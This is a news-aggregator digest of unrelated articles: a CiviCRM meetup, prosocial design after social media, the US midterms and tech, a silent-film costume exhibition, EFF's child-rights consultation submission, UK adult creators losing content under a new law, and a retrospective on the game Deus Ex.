CiviCRM Scotland Meetup, Thursday 26 November 2026

CiviCRM
civicrm.org
2026-11-05 12:06:45
At our next CiviCRM Scotland Meetup, Sarah Farrell-Graham of MJW Consulting joins us to explore how the dynamic duo of FormBuilder and SearchKit within CiviCRM can be combined to powerful effect. Sarah will also demo 'Revisionist'....
Original Article

At our next CiviCRM Scotland Meetup, Sarah Farrell-Graham of MJW Consulting joins us to explore how the dynamic duo of FormBuilder and SearchKit within CiviCRM can be combined to powerful effect. Sarah will also demo 'Revisionist', a new extension from MJW Consulting that adds version history to FormBuilder and SearchKit for tracking changes.

Whether you're new to CiviCRM or looking to improve your data quality, this practical session will provide useful tips and techniques you can apply straight away.

As always, for existing CiviCRM users, there will be opportunities to meet and discuss CiviCRM with other organisations using the software in their day-to-day work, and to ask questions of experts.

You are invited to join us in person or online. The event is free, conveniently situated next to Edinburgh Waverley train station and there will be tea and biscuits!

Hosted by CiviCRM Bronze Partner, Pooka & Co .

Prosocial Design After Social Media

Internet Exchange
internet.exchangepoint.tech
2026-11-05 09:46:19
Prosocial Design Network asks their members whether prosocial design still matters....
Original Article
technology for society

Prosocial Design Network asks their members whether prosocial design still matters.

Prosocial Design After Social Media
Photo by David Clode / Unsplash

By Audrey Hingle and Julia Kamin

In a court filing defending itself against the US Federal Trade Commission's antitrust case, Meta argued it isn't really a social media company anymore. According to numbers cited by Meta in the filing and referenced in the paper “Towards a Post-Social Media Studies” , only 7% of time on Instagram, and 17% on Facebook, goes to content from friends or accounts people follow. The overwhelming remainder goes toward watching videos recommended by AI-powered algorithms created by Meta.

To date, most prosocial design research has been done on what we used to refer to as "global town square" platforms. These were Facebook, Twitter and similar networks where people posted their own content in public, and anyone could reply to anyone. So if most of what people see in their feeds now comes from strangers or is generated by AI, and their real conversations happen in group chats or with chatbots, our field – those of us working to create and test prosocial design solutions – need to ask where our work matters most now, and how it may need to change.

On June 30, Prosocial Design Network (PDN) hosted a community conversation on that question. As pre-reading, we shared recent pieces: danah boyd on how social media became parasocial , Petter Törnberg and Richard Rogers on what's replacing social media , and New_ Public’s vision on where online public spaces will move “ After the Feed .” Below we summarised key points from each of the three pieces, if you'd like to see a summary of the discussion you can find that on the PDN blog .

Background reading

danah boyd helped establish the term "social network sites" among academics back in 2007, so it carries weight when she argues in Social Media Is Now Parasocial Media , and that the “social” label no longer fits. In 2006, most people who logged in to social networks posted something because they were building a space to hang out with others. In 2026, posting has waned and most people scroll. What they scroll through is mostly polished content from advertisers and creators who've learned to work the algorithm. Your 15 friends might still post, but buried among polished, professionally made content, you may never see it.

The result, boyd argues, is parasocial media. One-sided relationships with people who don't know you and never reciprocate your engagement. Those relationships can be emotionally intense, but they don't build community. They don’t notice your sad Instagram post and call you up when you’re struggling, and you can feel lonely after hours of following other people's drama. She ties this incentivization structure where first, a platform attracts users with a great service. Once they're locked in, it starts abusing them to benefit business customers like advertisers. When the business customers are locked in too, it exploits both groups to appease investors. Finally, the platform dies. boyd puts most big platforms in its third stage, squeezing both users and business customers to please investors.

But people haven't stopped socializing online, they just aren’t doing it on “social media” platforms any longer. They've moved to texting and group chats, services most people don’t think of as social media. For applying prosocial design research, that could be a challenge – most of what we know about effective prosocial design in mass social media could be irrelevant, or even counter-productive, in spaces that have vastly different features and contexts.

What's replacing the feed

Petter Törnberg and Richard Rogers cover even more ground, looking beyond the big platforms to where social media as a whole is heading in Towards a Post-Social Media Studies . They name three forces pulling the old model apart, largely reflecting the trends boyd described.

The first is the algorithm. Feeds are now built around what a model predicts you'll watch based on past behavior, mostly from strangers, instead of who you follow. “TikTok’s AI-driven algorithm is often called the most addictive on social media” says Weekly Silicon Valley . It set the bar, and Instagram, Facebook, YouTube and X have all moved in that direction. The signals platforms used to determine what you’re interested in have subsequently changed. Likes and comments count for less than watch time, completion rate, rewatching and even the half-second you hesitate mid-scroll. The authors call the result "personalized broadcasting."

The second is generative AI. Generative AI models can create content just for you, and fill up your feed at almost no cost, so platforms depend less on people posting. The surreal "Shrimp Jesus" images that spread on Facebook in 2023 were early examples of this. Even though they were obviously fake, platforms had little reason to filter them out because they got so much engagement.

The third is a retreat from publicness. People are posting less in public and moving their social lives to private messaging groups and closed communities. Törnberg’s own data show posting and viewing on Facebook and X fell by nearly half between 2020 and 2024, and a growing share of people are opting out of social media entirely.

In place of social media, they see three things emerging: algorithmic broadcasting platforms like TikTok, semi-private spaces like group chats and invite-only communities, and AI chatbots, which they treat as a new kind of media. More people, they say, now talk to AI chatbots than post on social media. In 2025, 52% of US adults said they used AI chatbots, while in 2023 only 35% said they’d posted on Facebook, and 11% on X.

For researchers who wish to study these spaces, access is an issue. Platforms keep the watch-time data behind broadcast feeds to themselves, and semi-private spaces are closed by design, so the most socially meaningful conversations are the hardest to see. Chatbot conversations are even harder to study. Each one is private between a person and an AI, so there are no public posts for researchers to look at. Törnberg and Rogers suggest going back to slower, smaller methods that suit these spaces better, like ethnography, interviews, looking at how platforms are designed, and setting up test accounts to see what feeds actually show people.

Trust over reach

New_ Public's After the Feed , by Eli Pariser, Angelica Quicksey and Arnobio Morelix, focuses on the semi-private spaces Törnberg and Rogers identify. New_ Public offers an explanation for  the retreat from publicness, and looks at the smaller spaces where people talk with their communities and networks once they stop posting to social media.

Their core observation is that the attention economy is giving way to a trust economy. Once followers and reviews can be faked at scale, engagement numbers stop meaning much. They cite a report from Imperva that 51% of internet traffic in 2024 was automated. That number has gone up, and the most recent report shows bots accounted for 53% of all internet traffic in 2025. When you can’t tell who’s real, open platforms stop feeling like places to talk. 58% of people in the Reuters Institute’s 2025 Digital News Report said they worried about telling real from fake online. So people take their real social lives to group chats, Discord servers, WhatsApp groups and private channels, what Maggie Appleton calls the cozy web : places where you know who you’re talking to and shared norms protect you.

LLM-based chatbots and the agents built on them are also replacing some of the reasons people talked to each other in the first place. For example, monthly questions on Stack Overflow , where developers ask questions and other developers answer, have dropped steeply since ChatGPT launched. New_ Public mapped 134 things people use social platforms for and scored how easily AI could replace each one. Learning and deciding (tutorials, quick answers) scored highest. Connecting and belonging scored lowest, which is why they rate relationship-based apps like WhatsApp and Discord as far less exposed than YouTube or TikTok to being replaced by AI chatbots and agents.

An important point from New_ Public’s deck: private spaces are good for trust and bad for bridging across differences, and democracy depends on bridging. Some of what New_ Public proposes for small spaces, like setting norms and rules , already has evidence behind it. Others, like using AI to support stewards, haven’t been tested yet. How small spaces can connect to each other when it matters is still an open question for prosocial design research.

What we know least about: agents

Across all three readings, what we know least about is how agentic AI will affect Prosocial Design. New_ Public calls AI agents the ‘new new gatekeepers’: an agent may summarize or rewrite your friends’ messages before you ever see them. Participants on our call raised specific worries, like what happens when AI-generated content is forwarded again and again through small group chats, and how easily someone could inject agent-written misinformation into a space built on trust.

Our community conversation was open to all PDN members on our Slack workspace. (Interested in joining the next conversation? Join us on Slack .) Sixteen members showed up on June 30th, 2026 for a call on Zoom where we asked two questions and then listened. The first question was “What did the reading miss?” The second: “Looking at the future landscape of online spaces, is prosocial design research still valuable and – if so – where should it focus.” If you want to read what we discussed, we summarize what we heard on the PDN blog .


Tech for Palestine Becomes Member-Driven Organization

Tech for Palestine (T4P), whose projects have reached more than 10 million users in less than three years, has opened its membership to the public. Anyone can become a member and build advocacy projects under the T4P banner. Members get a team to work with and the backing of the organization behind Big Tech alternatives such as UpScrolled and Thaura , and advocacy tools such as Boycat and NewsCord . Members join with the skills they have: engineering, design, research, writing or organizing. Some join an existing project; others bring their own idea and start a new team, which T4P mentors help scope and staff with fellow members.

Want to appear here? Sponsor a newsletter.

Support the Internet Exchange

If you find our emails useful, consider becoming a paid subscriber! You'll get access to our members-only Signal community where we share ideas, discuss upcoming topics, and exchange links. Paid subscribers can also leave comments on posts and enjoy a warm, fuzzy feeling.

Not ready for a long-term commitment? You can always leave us a tip .

Become A Paid Subscriber

From the Group Chat: The US Midterms 👥 💬

Last week, IX's Mallory Knodel wrote that Big Tech was betting big on the US midterms . This week, it looks like they lost the bet. At The Atlantic, Matteo Wong writes that Silicon Valley lost big . Voters in at least 10 states approved dozens of data center restrictions and backed candidates who ran against Big Tech. Brian Merchant agrees . By his count, voters moved to restrict data centers in 40 of the 41 ballot measures about them. He calls the results a defeat for data centers, AI and tech oligarchs alike. But, he warns, the industry is already courting the newly elected Democrats. Wired’s results roundup shows that voters backed candidates who support data center moratoriums at every level of government, including new Democratic governors in Georgia and Texas, which are two of the biggest hubs for data center development in the country.

Data & Society reads the night as a referendum on the tech industry . They say that voters rejected the industry’s agenda and sent the next Congress a clear message to regulate AI and hold tech companies accountable. Will this election result in new regulations? Alexandra Reeve Givens, Robert Weissman and Brian J. Chen are having a conversation about the impact of the midterm elections on US tech policy later today with Tech Policy Press.

The platforms should also be scrutinized for how they handled the election itself. This was the first US election with generative AI built into every major social media platform, from embedded chatbots and media generation tools to content moderation. Yet an Institute for Strategic Dialogue report found that companies disclosed little about how those systems work, and over the same period they cut back on human fact-checking and safety teams.

Want to participate in the group chat? Become a paid subscriber and we'll send you the invite link.

🚨

Stop press! Do you enjoy our links? Links are now available to paid subscribers only. Become a paid subscriber today.

Looking Back at New York's Glamorous, Silent Film Past

hellgate
hellgatenyc.com
2026-11-06 11:08:59
A new exhibition resurfaces rarely seen gowns and costumes from the era when our city—not Hollywood—ruled the film world....
Original Article

To walk into "Goddesses in the Machine: Fashion in American Silent Film," the new exhibition at the Bard Graduate Center, is to feel a little bit like a kid in a candy shop—or rather a theater kid turned loose on the Paramount backlot, circa 1922. Everywhere you look, there's another lighter-than-air silk gown, or pair of beautiful metallic pumps, or bedazzled brassiere.

If you have a mental picture of silent film, there's a good chance it involves tinny piano music and overdramatic facial expressions—the era as retold by "Sunset Boulevard." This exhibition, which aims to tell the story of style and costume in early film, will overturn that impression, conveying just how vibrant, thrilling, and downright sexy these movies and their stars must've seemed to contemporary audiences. One of the displays quotes a costume designer who wrote that in the silent era he "wallowed in rhinestones and feathers and furs and loved every minute of it." That opulence and enthusiasm come through loud and clear in the exhibition.

Installation view, "Goddesses in the Machine: Fashion in American Silent Film," Bard Graduate Center (Bruce M. White)

What's more, the exhibit offers a rare window into a fascinating chapter in the history of the American movie business: when its beating heart was not on the West Coast, but in New York City.

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

EFF Submission to OHCHR Consultation on Child Rights and Safety in the Digital Environment

Electronic Frontier Foundation
www.eff.org
2026-11-06 10:55:49
“The safety of young people in the digital environment cannot be assessed without also considering the safety of young people in offline environments. For millions of young people around the world, the digital environment is their safe place, their haven from an unsafe physical environment, communit...
Original Article

“ The safety of young people in the digital environment cannot be assessed without also considering the safety of young people in offline environments. For millions of young people around the world, the digital environment is their safe place, their haven from an unsafe physical environment, community, or family situation. The digital environment may be the best, perhaps only, place for them to find critical safety information and community, to explore ideas that are controversial in their families and larger physical environments, and to otherwise nourish their personal autonomy.

“For these young people, regulatory efforts that limit their access to online services or to certain features they find valuable, make their lives, in total, less safe, even if there has been some marginal safety benefit to their digital environment.

“The OHCHR must thus consider the whole of young persons' lives in any recommendations that come out of this process and not treat ‘safety, physical or mental health, and rights in the digital environment’ as disconnected from safety, physical or mental health, and rights elsewhere.”

So begins EFF’s submission to the global Call for Inputs on Child Rights and Safety in the Digital Environment conducted by the United Nations Office of the High Commissioner on Human Rights. The OHCHR is preparing a report on the issue to be presented to the UN Human Rights Council at its 64th session in the first quarter of 2027. The Human Rights Council requested the OHCHR to solicit input from a wide range of stakeholders, including child and youth perspectives, and convene five regional consultations to assess the risks to the safety of the child in the digital environment and best practices to address these risks in different geographical areas, bearing in mind current and emerging business models.

The OHCHR acknowledges that young people today navigate a digital environment with both “unprecedented opportunities” and “serious and evolving risks,” and sets out a rights-based framing whereby “Children's 'safety' is therefore addressed through the full framework of their rights — with freedom from violence (Art. 19) and protection from exploitation and abuse (Arts. 34–36) as clearly defined obligations, situated alongside privacy (Art. 16), access to information (Arts. 13 and 17), expression (Art. 13), participation (Art. 12), and development (Art. 6). Protection and the full range of children's rights are understood as reinforcing rather than competing imperatives, and measures taken in the name of safety must not be used to restrict the enjoyment of other rights, such as the right to privacy and the right to participate.”

In light of this, EFF’s submission focused on the current general disregard for young people's speech and privacy rights by regulators around the world, all of whom seem far more interested in empowering parents rather than young people themselves, or meaningfully involving young people in the regulatory process. We emphasized the human rights-centered uses young people make of social media that were not specifically set out in the concept note. We also explained that too often, policy proposals aiming to remedy the issues of online safety for young people introduce limitations on access to online services and content rather than tackling the specific problems that people experience.

More specifically, our submission looks at:

  1. the most significant risks to young people’s safety in the digital environment
  2. how digital product design and business models drive risks to children's rights online, including in AI-mediated services
  3. the inclusion of young people’s views in the design, governance, and regulation of digital environments
  4. how equality and non-discrimination in access and protection can be ensured
  5. the promotion of digital literacy, skills, and empowerment for young people
  6. the impact of legislative and regulatory measures from the United States to Indonesia and Australia
  7. importance of broader, more systemic interventions that can address address online harms
  8. how global instruments and processes can protect young people online.

The internet is where young people learn, find community, explore their identities, access important information, and express themselves. Curtailing these opportunities doesn't make them safer. And requiring everyone to hand over sensitive personal information just to access online spaces creates privacy risks for all users.

As the OHCHR has acknowledged, the solution to the issue of online safety should not require a choice between protecting young people from danger or protecting their rights. Instead of restricting access, governments should focus on the systems that create these risks in the first place; tech companies must be accountable for their design choices, data practices, and surveillance-driven business models; and young people need to be included in the decisions that affect them.

Read our full submission here .

UK Sex Workers Wake Up to Sites Purging Their Content Follow UK Porn Ban

403 Media
www.404media.co
2026-11-06 10:53:36
Adult creators are left in the dark as content that they didn't believe broke the law disappears from clip sites....
Original Article

Immediately after the UK banned a wide range of porn fantasies involving choking, breath-restriction, and relative roleplay, adult creators watched platforms remove hundreds of their videos — even when the creators thought they were in compliance with the law. These creators say they were blindsided by the removals, since the content didn’t seem to violate the law at all.

Creators are reporting one platform in particular, Clips4Sale, is purging content with little notice, “a precautionary measure.”

Some creators who’ve contacted Clips4Sale to appeal these removals have shared screenshots online of the reply the platform sends: “At this time, we have implemented a general restriction on content availability in the UK to ensure compliance with applicable regulatory requirements,” Clips4Sale support replies, according to these screenshots, viewed by 404 Media. “This is a precautionary measure and does not necessarily indicate that your clips contain prohibited content or violate our policies. We are continuing to review affected content, and additional clips will be made available to UK buyers as they are reviewed and cleared.”

In the UK, Face Sitting Porn Might Land You in Jail

The Crime and Policing Act, which goes into force on November 6, criminalizes possessing or publishing strangulation or suffocation porn, as well as some types of "close familial relatives" roleplay.

404 Media Samantha Cole

Updates to the UK’s Crime and Policing Act went into force on Friday. The law criminalizes a list of sexual acts, including downloading or publishing choking and incest roleplay content. The law is vague and overbroad, criminalizing “strangulation or suffocation” and “certain types” of incest roleplay. There's a lot of confusion among sex workers and fans about what this encompasses, and seemingly could include various kinds of gagging, face sitting, and roleplay. Violating this law, either as someone in possession of noncompliant content or publishing it, carries a risk of up to five years in prison.

UK-based creator Sophia Truee told me that Clips4Sale removed more than 75 percent of her content — 392 out of 506 videos — with the platform flagging it as requiring edits without noting what needed to change. Truee makes POV content where she’s alone talking to the camera. Many more creators have shared on social media that content that shouldn’t be in violation of the law has been caught in the crossfire on Clips4Sale specifically.

In an email sent to creators on Thursday, the day before the law went into force, Clips4Sale said it would be reviewing “both the video content and its details, including titles, tags, keywords, and descriptions” of content that creators have uploaded to the site. It told creators no action was required. “Affected clips will be hidden automatically starting November 6. If you'd like to make a clip available in the UK again, you can edit the content or its details as needed and submit the changes for compliance review.” Approved content would go back up, the company said.

Another message from Clips4Sale on creators’ dashboards said: “As we gain further clarity on the regulatory requirements, we expect to be able to make additional content available again to UK users, wherever permitted. These restrictions apply only to the UK and will not affect your content's availability in other markets where it is permitted.” According to the law, however, if creators based in the UK possess that content, they’re still facing jail time.

“Of course, we were all aware of the new Act coming in and prepared accordingly, but not for anything at this scale. We've had nothing since and they've been tweeting as normal,” Truee said. Clips4Sale launched in 2003 and caters heavily to fetish content. “It's a huge blow to this area of the industry, and I can only hope things will be communicated soon. We, as creators, understand how difficult it is to be a content site in this current climate, but communication has not been prioritized,” Truee said, noting that this is happening right before the holidays, with Black Friday being one of the most popular times for creators selling content. “For many, this will be devastating, as over 20 years of the work will have just been wiped.”

💡

Are you affected by this new UK porn law, as a fan or creator? I would love to hear from you. Using a non-work device, you can message me securely on Signal at sam.404. Otherwise, send me an email at sam@404media.co.

Madame Caramel, another UK-based creator using Clips4Sale, posted on X that out of 900 clips she had available on the platform, she now has 198 left. Another creator, Goddess Kitty, wrote that the platform restricted 931 of her clips from UK audiences. “All of them [had] utterly NOTHING to do with the UK laws,” she wrote. There are many, many more creators across social media reporting that they’ve woken up to their clip sites gutted with no warning, even though their content wasn’t non-compliant by the letter of the law.

With the speed at which content has been purged en masse, and with some creators reporting instant rejections of content that should actually be compliant with the law, Clips4Sale may be auto-moderating with a very wide net, and sifting through reviews creators are now forced to send for legal content. This is something most social media platforms do to try to comply whenever over-broad laws or payment processor regulations hit.

Clips4Sale did not immediately respond to a request for comment.

Other platforms are also attempting to comply now that the law is in effect. LoyalFans has a notice on its homepage for fans addressing the new law. It says: “These changes may also apply to content you've purchased, downloaded, or saved privately on your devices. Non-compliant content in your Loyalfans account will be removed on November 5, with no further action required from your side. We encourage you to understand the new law and review any affected content you have downloaded, or stored privately, whether on your phone, computer, or cloud storage.”

LoyalFans updated its terms of use on Thursday to include strangulation or suffocation, in its unacceptable content list, “including any content, whether real or simulated, that explicitly and realistically depicts a person strangling or suffocating another person, such as applying pressure to the neck or obstructing the nose or mouth,” the terms now say. “This content is prohibited regardless of whether the participants consent, and even if it is fantasy-based, roleplay, or digitally created.” Several creators using LoyalFans have posted on social media saying they’ve had hundreds of videos removed from their accounts on that platform, too.

JustForFans, an LGBTQ and kink content site, posted on X earlier this week that creators should review their content and use its new “restrict this content” option to keep it from being viewed by users in the UK. The platform also said that it would be scanning every new video upload for consent requirements and content restrictions. “If we find content that should be restricted in the UK, we will restrict it and you can review it in a new section of your Media Center called Restricted Content. The page will tell you what we found and give you options right on that page to fix it: re-word a post, replace a video with another video, delete the video, or tell us we are wrong, and why you believe we are wrong. A staff member will review your changes,” it said.

The vagueness of the law, combined with the use of auto-moderation on sites like Clips4Sale, have come together to create a nightmare for creators. “This highlights the lack of protection sex workers and content creators have when laws aren't properly researched and clearly written. We do our very best to stay compliant and ensure everyone's safety by following the rules,” Truee said. “This highlights the unprecedented use of AI in moderation and the lack of clear instructions from the government.”

About the author

Sam Cole is writing from the far reaches of the internet, about sexuality, the adult industry, online culture, and AI. She's the author of How Sex Changed the Internet and the Internet Changed Sex.

Samantha Cole

Deus Ex

Hacker News
www.filfre.net
2026-11-06 10:44:36
Comments...
Original Article


A slight shift of focus, and the future could still turn out like Deus Ex after all…

— Deus Ex lead writer Sheldon Pacotti, speaking in 2014

The reviews that greeted Ion Storm’s Deus Ex upon its release in June of 2000 ranged along a continuum from cautiously to wildly positive. Computer Gaming World , the Gray Lady of the hobby, came with one of the most nuanced takes. Reviewer Thierry Nguyen spoke of “loving” the game in the abstract, but lamented “deep flaws that sometimes frustrated me, as they detracted from its ambitious design”; these included performance issues, poor artificial intelligence on the part of the enemies, and a sense of contrivance that clung to some of the environments and plot points. The excitable lads at Australia’s PC Powerplay , on the other hand, placed no such qualifiers on their declaration of love for Deus Ex . In a special feature published when the game was not yet three months old, they declared it to be quite simply The Best Game Ever: “Every action within Deus Ex’ s expansive environments has far-reaching consequences, making it seem like the player is ensconced within a living, breathing world.”

For better or for worse, the critical consensus over the quarter-century since Deus Ex was a brand-new game has hewed more to PC Powerplay than Computer Gaming World . As the years have passed, it has been praised more and more fulsomely, not only for its gameplay but for being a full-blown work of interactive speculative fiction, full of uncanny insights into the ways the world has changed since it was released just as the Dot-com Bubble was bursting. YouTube in this Year of Our Lord 2026 is overflowing with videos that declare it to be “The Most Important Videogame Ever Made,” the game that “predicted the future,” the proud home of “some of the most insightful philosophy that you will ever witness in the gaming medium.” It’s become fodder for a certain species of painfully earnest commentator who desperately wants games to be culturally relevant true-blue art, whilst also continuing to allow him to run around and blow shit up in the manner to which he’s become accustomed. All too often, this causes such folks to make claims for Deus Ex that have only a tangential relationship with its reality, lacking the necessary grounding in the cultural circumstances that produced it. Which is no surprise really; some of these folks weren’t even born yet when Deus Ex was new on store shelves.

My favorite anecdote in this vein involves the name of the protagonist: J.C. Denton. It was theorized for years that the “J.C.” stood for “Jesus Christ,” pointing to the literal deus ex machina (“God in the machine”) of one of the game’s three possible endings, in which Denton merges with an artificial intelligence — in the Singularity sense, not that of the algorithms controlling the enemies who run through the game’s corridors shooting at you — to take over the world. At a Game Developers Conference postmortem in 2017, Deus Ex’ s mastermind Warren Spector, who had always stayed mum on the subject prior to this event, brought forth a revelation that caused jaws to drop almost audibly throughout the room: the initials really did stand for “Jesus Christ.” But then came the deflating coda. Rather than having any deeper thematic or philosophical implications, the name of the protagonist came from a friend of Spector’s with the first name of Denton, who was so nice and helpful that it could become downright “irritating,” as Spector put it. “Jesus Christ, Denton!” he would say at these junctures. When production on Deus Ex began, Spector thought that the phrase had a nice ring to it. So much for philosophy.

Like Planescape: Torment and to some extent even Alpha Centauri , Deus Ex has become as much an aspirational ideal as a concrete artifact. And that’s fine; we all need things to which to aspire, after all. Still, in this article I’m going to do my best to drill down on the less hyperbolic reality of Deus Ex . If this meaning pushing back at times against its popular reputation as a sui generis masterpiece, know that that doesn’t mean it isn’t a fine and groundbreaking game, a game which dares to attempt to do a lot of difficult things and manages to succeed at a remarkable number of them.


The secret organization that J.C. Denton works for is the Federal Emergency Management Agency. How’s that for a deep state?

As I’ve already implied, discussions of Deus Ex tend to break down along two axes: the innovations of its gameplay and the statements it makes — or seems to make — about the very future in which we are now privileged or condemned to be living. The gameplay is both the easier subject to get a handle on and the one where the more grandiose claims require less qualification, so let’s start there.

Whatever else it happens to be, Deus Ex is the greatest game that Looking Glass Studios never made, steeped in that creative collective’s ethic of the “immersive sim.” As longtime readers of this site know, Looking Glass’s very first game, Ultima Underworld , appeared in 1992, right about the same time that id Software released Wolfenstein 3D , their dry run for DOOM . For the balance of the decade, Looking Glass was the yin to id’s yang. Both studios worked with first-person 3D, but, while id emphasized straightforward shooter gameplay, Looking Glass stubbornly stuck to a much more complex, multi-variant gameplay model that strove to drop the player right into a believable 3D world. It was a far more difficult path to walk, with far fewer commercial rewards to be found along the way, yet it resulted in a catalog of games that are still well remembered and widely recognized as formative to what gaming has become in the decades since. It might not be going too far astray to call Looking Glass the Velvet Underground of gaming.

In my opinion, the greatest, most quintessential Looking Glass game of all is System Shock , which was released in 1994, still fairly early in the studio’s run. It casts you as the sole surviving human aboard a space station where an evil central computer, the chillingly iconic SHODAN, has killed everyone else and turned their corpses into bloodthirsty zombies. You have to shoot, sneak, hack, and engineer your way to victory against her, in combinations that can and will vary from player to player. The game is less a fixed story than an emergent playground of problems and possibilities that yields a story, if the player is doing it right. System Shock so impressed Warren Spector, who was serving as Looking Glass’s producer and liaison at the publisher Origin Systems at the time it went into development, that it caused him to quit his job there and join Looking Glass full-time.

System Shock . One of its design principles was a thoroughgoing commitment to diegesis; you aren’t privy to any information which the character you play isn’t also privy to. What you see onscreen is exactly what the protagonist sees through the heads-up display installed in his environmental suit’s helmet. (Valve’s Half-Life would famously employ the same approach four years later.)

All told, System Shock was the most uncompromising implementation of an immersive sim that Looking Glass ever created — for that matter, one of the most uncompromising that anyone has ever created, right up to the present day. Confronted by feedback from players who found the scope of possibility which System Shock allowed them less bracing than confusing, Looking Glass shrank it just slightly in their later games. Their 1998 game Thief , for example, made it clear to the player that stealth was the only real route to success. Yet Spector found the early builds of that game, which is at least as critically lauded as System Shock today, to be more frustrating than freeing. What happened if you were discovered in one of the dark corners of the game, despite all of your best efforts to stay hidden? It usually just led to a swift game-over screen, so inept was your character in a straight-up sword fight. Spector wondered why he couldn’t be allowed to take a different approach to the game’s problem space than that of pure stealth, if he so chose. After having worked on System Shock , Thief felt too constrictive.

This was the direction his thoughts were traveling when John Romero called him up to offer him $3 million to make “any game you want to make.” Deus Ex was a return to the ethic that had produced System Shock , and thus cannot be fully understood without reference to that earlier game. Like System Shock , it gives you a goal and sets you loose to try to achieve it in any way you can conceive and pull off. The core of Spector’s mission statement to his team was just three words long: “Problems, not puzzles.” Instead of insisting that you work your way to solutions that have already been thought up by the designers — the definition of puzzle-based gameplay — it’s content to offer up a selection of challenges and affordances and then trust in the multi-variant simulation to do the rest. This gives emergent possibilities for problem-solving — as opposed to puzzle-solving — that even the designers may never have imagined. If this approach wasn’t quite as breathtakingly new in 2000 as some of the YouTube commentariat seem to think it was — again, see System Shock — it was most definitely the road less traveled in 3D gaming at the time.

That said, Deus Ex is more willing than System Shock to compromise on the ideology of the immersive sim in order to satisfy other goals. It’s slightly less committed to diegesis, being willing to foreground information that System Shock prefers to keep hidden. The changes which the protagonist of System Shock undergoes all happen organically, as a result of his actions in the world. In Deus Ex , while you will always play an agent with the code name of J.C. Denton, your identity is less intimately bound up with his. You’re free to make your own version of him by explicitly choosing which skills to invest in initially and which ones to improve as the game goes on, from a modest menu of same that includes Computers, Electronics, Environmental Training, Lockpicking, Medicine, Swimming, and an array of Weapons competencies. (Interestingly, a 1999 direct sequel to the original System Shock that was developed by Irrational Games rather than Looking Glass themselves made the same choice to crack open the black box, as it were, and expose the CRPG elements.)

Deus Ex’ s character-creation screen.

Instead of taking place in one contiguous space like System Shock — albeit a space with plenty of locked doors and balky elevators to be sorted out — Deus Ex embraces a more typical first-person-shooter campaign structure, giving you a set of twelve missions that are played out one after the other. Each mission is, we might say, a kind of mini- System Shock , a self-contained simulation space that must be “solved” in one way or another in order to proceed to the next one. In terms of its overarching narrative, then, Deus Ex is really a quite traditionalist game.

The campaign structure does allow Deus Ex to present a far broader array of environments than it otherwise could, the polar opposite of the relentlessly uniform, suffocating corridors of System Shock . You hopscotch from New York City to Hong Kong to Paris among many other destinations, ending up — inevitably, given the nature of the story — at good old Area 51. But what is gained in cosmopolitan diversity is lost in the ability of players to make their own story. While each mission can be solved in a huge number of ways, it will always lead to the same mission afterward; the game will always dance to the tune of the same set of fixed plot beats. The “living, breathing world” that so delighted PC Powerplay back in the day is an illusion outside of the granular frame of how you complete each individual mission. Whether you choose to make your J.C. Denton a hyper-violent super-soldier who assassinates moral niceties along with everyone else he meets or a tormented soul engaged in what he suspects more and more to be a bad business, he will always arrive there at Area 51 via the same basic series of steps. Yes, one might argue that System Shock as well has a somewhat linear, deck-by-deck instead of mission-by-mission progression, but the ability — indeed, the necessity — to periodically go back to decks you might have thought you had “cleared” gives it a verisimilitude that Deus Ex can’t quite match.

So, for all its reputation for innovation, well-deserved in many respects, Deus Ex’ s wide-frame approach to storytelling is almost as old as digital games themselves. At the climax of the linear campaign, you are given a choice between three pre-crafted endings. Other than by dying and failing to reach the climax at all, you have no more control than this over the final outcome of the story. This could be construed as a weakness, given the stakes of the plot, which is vastly more complicated than System Shock’ s personal zero-sum game between yourself and SHODAN. Still, I do understand why it was done this way, and don’t really blame anyone for it: because truly interactive storytelling, especially on a scale like this one, is hard , as decades of experience have taught us all too well. As I’ve written many times, game design is an art of the possible; having made their bed by choosing to tackle such an ambitious story, the designers of Deus Ex had to lie in it as best they could.

Try to pick the lock or blow it open? The choice is yours… or maybe you can do something else, perhaps something totally unexpected, instead.

At the level of the individual missions, however, the game does do an admirable job of living up to its goal of letting you figure things out for yourself. If you want to go for maximum lethality, you can do that, although the limited quantity of ammunition to hand will make it a daunting task. (Just why does the organization you work for spend a fortune to turn you into an augmented super-soldier and then scrimp on bullets like a corporate Karen in charge of an office-supply cabinet?) If you want to rely on stealth and technological trickery, reserving your kill shots for the people who really deserve them, you can do that too. The best way to know if an immersive sim is successful at what it has set out to do is to imagine that you — the real you, that is — are actually in the situation it depicts, ask yourself how your real-world self would react, and then find out if the game allows you to do that. If the answer is yes, then the game is probably onto something. And by this standard, Deus Ex acquits itself pretty darn well, all things considered.

Indeed, for many years after the game’s release, the designers were regaled with tales of players who had devised solutions to the missions’ problems that they had never even thought of — another sign of a successful immersive sim. One of the most famous examples emerged when the game was still in testing. It involves magnetic explosive charges that can be attached to doors and windows for the purpose of blowing them open, or to make booby-traps for enemies. The testers discovered that they could use these in a whole different way: to make a kind of staircase for climbing a wall by attaching them one after another at increasing heights, hopping from one rung to the next. It was a clever and totally unanticipated way to reach high balconies and rooftops. Informed of this exploit, many a design team would have contrived some way to block it and moved on to the next bug on the list. But Warren Spector’s team took it as a challenge to make their virtual realities that much more airtight, such that even climbing to someplace you “shouldn’t” be couldn’t break them.

An improvised ladder made from magnetic explosive charges.

The worst thing you can say about this aspect of Deus Ex is that the simulation of the real world sometimes leads to situations where behaviors are entirely emergent, but a long way off from believable. Deus Ex goes so far in simulating a logically functioning environment in comparison to most games of its era that it occasionally falls into a kind of uncanny valley of realism, amenable to “cheap” solutions on the player’s part that remind her all too clearly that she’s merely playing a game. The most notorious examples of this phenomenon tend to revolve around the behavior of the various guards, terrorists, and other enemies in the spaces, who act more like confused herd animals than trained operatives. There are lots of ways to lead these clowns astray in order to avoid and/or kill them, ways that would never fly in the real world. But they stand out only because so much else has raised our expectations so high…

One of the many choices which Deus Ex largely leaves up to its player is how much to engage with its convoluted, much-discussed story line. You can treat the game as nothing more than a series of tactical scenarios to overcome, if you’re so inclined. Or you can really dig into the lore by exhausting every possible line of interrogation with the people you meet and carefully reading through the many documents you stumble across. It’s to this side of the game, which is increasingly described as prescient if not downright prophetic by people looking back from these dystopic-feeling current times of ours, that I’d like to turn now.


